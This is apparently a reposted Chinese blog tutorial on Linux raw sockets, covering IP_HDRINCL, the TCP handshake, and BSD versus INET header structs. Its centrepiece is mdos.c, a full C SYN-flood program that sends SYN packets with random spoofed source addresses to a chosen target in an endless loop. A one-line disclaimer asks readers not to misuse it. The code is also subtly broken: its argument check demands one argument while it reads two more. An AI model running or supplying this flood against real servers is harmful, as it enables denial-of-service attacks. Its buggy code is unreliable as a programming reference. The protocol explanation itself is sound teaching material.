Linux網路程式設計:原始套接字的魔力【上】
原文:http://blog.chinaunix.net/uid-23069658-id-3280895.html
基於原始套接字程式設計
在開發面向連線的TCP和麵向無連線的UDP程式時,我們所關心的核心問題在於資料收發層面,資料的傳輸特性由TCP或UDP來保證:
也就是說,對於TCP或UDP的程式開發,焦點在Data欄位,我們沒法直接對TCP或UDP頭部欄位進行赤裸裸的修改,當然還有IP頭。換句話說,我們對它們頭部操作的空間非常受限,只能使用它們已經開放給我們的諸如源、目的IP,源、目的埠等等。
今天我們討論一下原始套接字的程式開發,用它作為入門協議棧的進階跳板太合適不過了。OK閒話不多說,進入正題。
原始套接字的建立方法也不難:socket(AF_INET, SOCK_RAW, protocol)。
重點在protocol欄位,這裡就不能簡單的將其值為0了。在標頭檔案netinet/in.h中定義了系統中該欄位目前能取的值,注意:有些系統中不一定實現了netinet/in.h中的所有協議。原始碼的linux/in.h中和netinet/in.h中的內容一樣。我們常見的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:開發自己的hook函式【實戰】(下)
用這種方式我就可以得到原始的IP包了,然後就可以自定義IP所承載的具體協議型別,如TCP,UDP或ICMP,並手動對每種承載在IP協議之上的報文進行填充。接下來我們看個最著名的例子DOS攻擊的示例程式碼,以便大家更好的理解如何基於原始套接字手動去封裝我們所需要TCP報文。
先簡單複習一下TCP報文的格式,因為我們本身不是講協議的設計思想,所以只會提及和我們接下來主題相關的欄位,如果想對TCP協議原理進行深入瞭解那麼《TCP/IP詳解卷1》無疑是最好的選擇。我們目前主要關注上面著色部分的欄位就OK了,接下來再看看TCP3次握手的過程。TCP的3次握手的一般流程是:
(1) 第一次握手:建立連線時,客戶端A傳送SYN包(SEQ_NUMBER=j)到伺服器B,並進入SYN_SEND狀態,等待伺服器B確認。
(2) 第二次握手:伺服器B收到SYN包,必須確認客戶A的SYN(ACK_NUMBER=j+1),同時自己也傳送一個SYN包(SEQ_NUMBER=k),即SYN+ACK包,此時伺服器B進入SYN_RECV狀態。
(3) 第三次握手:客戶端A收到伺服器B的SYN+ACK包,向伺服器B傳送確認包ACK(ACK_NUMBER=k+1),此包傳送完畢,客戶端A和伺服器B進入ESTABLISHED狀態,完成三次握手。
至此3次握手結束,TCP通路就建立起來了,然後客戶端與伺服器開始互動資料。上面描述過程中,SYN包表示TCP資料包的標誌位syn=1,同理,ACK表示TCP報文中標誌位ack=1,SYN+ACK表示標誌位syn=1和ack=1同時成立。
原始套接字還提供了一個非常有用的引數IP_HDRINCL:
1、當開啟該引數時:我們可以從IP報文首部第一個位元組開始依次構造整個IP報文的所有選項,但是IP報文頭部中的標識欄位(設定為0時)和IP首部校驗和欄位總是由核心自己維護的,不需要我們關心。
2、如果不開啟該引數:我們所構造的報文是從IP首部之後的第一個位元組開始,IP首部由核心自己維護,首部中的協議欄位被設定成呼叫socket()函式時我們所傳遞給它的第三個引數。
開啟IP_HDRINCL特性的模板程式碼一般為:
const int on =1;
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以,我們還得複習一下IP報文的首部格式:同樣,我們重點關注IP首部中的著色部分割槽段的填充情況。
有了上面的知識做鋪墊,接下來DOS示例程式碼的編寫就相當簡單了。我們來體驗一下手動構造原生態IP報文的樂趣吧:點選(此處)摺疊或開啟
- //mdos.c
- #include <stdlib.h>
- #include <stdio.h>
- #include <errno.h>
- #include <string.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <arpa/inet.h>
- #include <linux/tcp.h>
- //我們自己寫的攻擊函式
- void attack(int skfd,struct sockaddr_in *target,unsigned
short srcport);
- //如果什麼都讓核心做,那豈不是忒不爽了,咱也試著計算一下校驗和。
- unsigned short check_sum(unsigned short *addr,int len);
- int main(int argc,char** argv){
- int skfd;
- struct sockaddr_in target;
- struct hostent *host;
- const int on=1;
- unsigned short srcport;
- if(argc!=2)
- {
- printf("Usage:%s target dstport srcport\n",argv[0]);
- exit(1);
- }
- bzero(&target,sizeof(struct sockaddr_in));
- target.sin_family=AF_INET;
- target.sin_port=htons(atoi(argv[2]));
- if(inet_aton(argv[1],&target.sin_addr)==0)
- {
- host=gethostbyname(argv[1]);
- if(host==NULL)
- {
- printf("TargetName Error:%s\n",hstrerror(h_errno));
- exit(1);
- }
- target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
- }
- //將協議欄位置為IPPROTO_TCP,來建立一個TCP的原始套接字
- if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
- perror("Create Error");
- exit(1);
- }
- //用模板程式碼來開啟IP_HDRINCL特性,我們完全自己手動構造IP報文
- if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
- perror("IP_HDRINCL failed");
- exit(1);
- }
- //因為只有root使用者才可以play with raw socket :)
- setuid(getpid());
- srcport = atoi(argv[3]);
- attack(skfd,&target,srcport);
- }
- //在該函式中構造整個IP報文,最後呼叫sendto函式將報文傳送出去
- void attack(int skfd,struct sockaddr_in *target,unsigned
short srcport){
- char buf[128]={0};
- struct ip *ip;
- struct tcphdr *tcp;
- int ip_len;
- //在我們TCP的報文中Data沒有欄位,所以整個IP報文的長度
- ip_len = sizeof(struct ip)+sizeof(struct
tcphdr);
- //開始填充IP首部
- ip=(struct ip*)buf;
- ip->ip_v = IPVERSION;
- ip->ip_hl = sizeof(struct ip)>>2;
- ip->ip_tos = 0;
- ip->ip_len = htons(ip_len);
- ip->ip_id=0;
- ip->ip_off=0;
- ip->ip_ttl=MAXTTL;
- ip->ip_p=IPPROTO_TCP;
- ip->ip_sum=0;
- ip->ip_dst=target->sin_addr;
- //開始填充TCP首部
- tcp = (struct tcphdr*)(buf+sizeof(struct
ip));
- tcp->source = htons(srcport);
- tcp->dest = target->sin_port;
- tcp->seq = random();
- tcp->doff = 5;
- tcp->syn = 1;
- tcp->check = 0;
- while(1){
- //源地址偽造,我們隨便任意生成個地址,讓伺服器一直等待下去
- ip->ip_src.s_addr = random();
- tcp->check=check_sum((unsigned
short*)tcp,sizeof(struct tcphdr));
- sendto(skfd,buf,ip_len,0,(struct
sockaddr*)target,sizeof(struct sockaddr_in));
- }
- }
- //關於CRC校驗和的計算,網上一大堆,我就“拿來主義”了
- unsigned short check_sum(unsigned short *addr,int len){
- register int nleft=len;
- register int sum=0;
- register short *w=addr;
- short answer=0;
- while(nleft>1)
- {
- sum+=*w++;
- nleft-=2;
- }
- if(nleft==1)
- {
- *(unsigned char *)(&answer)=*(unsigned
char *)w;
- sum+=answer;
- }
- sum=(sum>>16)+(sum&0xffff);
- sum+=(sum>>16);
- answer=~sum;
- return(answer);
- }
然後,我們編寫的“搗蛋”程式登場了:
該“mdos”命令執行一段時間後,伺服器端的輸出如下:
因為我們的源IP地址是隨機生成的,源埠固定為8888,伺服器端收到我們的SYN報文後,會為其分配一條連線資源,並將該連線的狀態置為SYN_RECV,然後給客戶端回送一個確認,並要求客戶端再次確認,可我們卻不再bird別個了,這樣就會造成服務端一直等待直到超時。
備註:本程式僅供交流分享使用,不要做惡,不然後果自負哦。
最後補充一點,看到很多新手經常對struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}糾結來糾結去了,不知道何時該用哪個。在/usr/include/netinet目錄這些結構所屬標頭檔案的定義,標頭檔案中對這些結構也做了很明確的說明,這裡我們簡單總結一下:
struct ip{}、struct icmp{}是供BSD系統層使用,struct iphdr{}和struct icmphdr{}是在INET層呼叫。同理tcphdr和udphdr分別都已經和諧統一了,參見tcp.h和udp.h。
BSD和INET的解釋在協議棧篇章詳細論述,這裡大家可以簡單這樣來理解:我們在使用者空間的編寫網路應用程式的層次就叫做BSD層。所以我們該用什麼樣的資料結構呢?良好的程式設計習慣當然是BSD層推薦我們使用的,struct ip{}、struct icmp{}。至於INET層的兩個同類型的結構體struct iphdr{}和struct icmphdr{}能用不?我只能說不建議。看個例子:我們可以看到無論BSD還是INET層的IP資料包結構體大小是相等的,ICMP報文的大小有差異。而我們知道ICMP報頭應該是8位元組,那麼BSD層為什麼是28位元組呢?留給大家思考。也就是說,我們這個mdos.c的例項程式中除了用struct ip{}之外還可以用INET層的struct iphdr{}結構。將如下程式碼:
點選(此處)摺疊或開啟
- struct ip *ip;
- …
- ip=(struct ip*)buf;
- ip->ip_v = IPVERSION;
- ip->ip_hl = sizeof(struct ip)>>2;
- ip->ip_tos = 0;
- ip->ip_len = htons(ip_len);
- ip->ip_id=0;
- ip->ip_off=0;
- ip->ip_ttl=MAXTTL;
- ip->ip_p=IPPROTO_TCP;
- ip->ip_sum=0;
- ip->ip_dst=target->sin_addr;
- …
- ip->ip_src.s_addr = random();
點選(此處)摺疊或開啟
- struct iphdr *ip;
- …
- ip=(struct iphdr*)buf;
- ip->version = IPVERSION;
- ip->ihl = sizeof(struct ip)>>2;
- ip->tos = 0;
- ip->tot_len = htons(ip_len);
- ip->id=0;
- ip->frag_off=0;
- ip->ttl=MAXTTL;
- ip->protocol=IPPROTO_TCP;
- ip->check=0;
- ip->daddr=target->sin_addr.s_addr;
- …
- ip->saddr = random();
結果請童鞋們自己驗證。雖然結果一樣,但在BSD層直接使用INET層的資料結構還是不被推薦的。
小結:
1、IP_HDRINCL選項可以使我們控制到底是要從IP頭部第一個位元組開始構造我們的原始報文或者從IP頭部之後第一個資料位元組開始。
2、只有超級使用者才能建立原始套接字。
3、原始套接字上也可以呼叫connet、bind之類的函式,但都不常見。原因請大家回顧一下這兩個函式的作用。想不起來的童鞋回頭複習一下前兩篇的內容吧。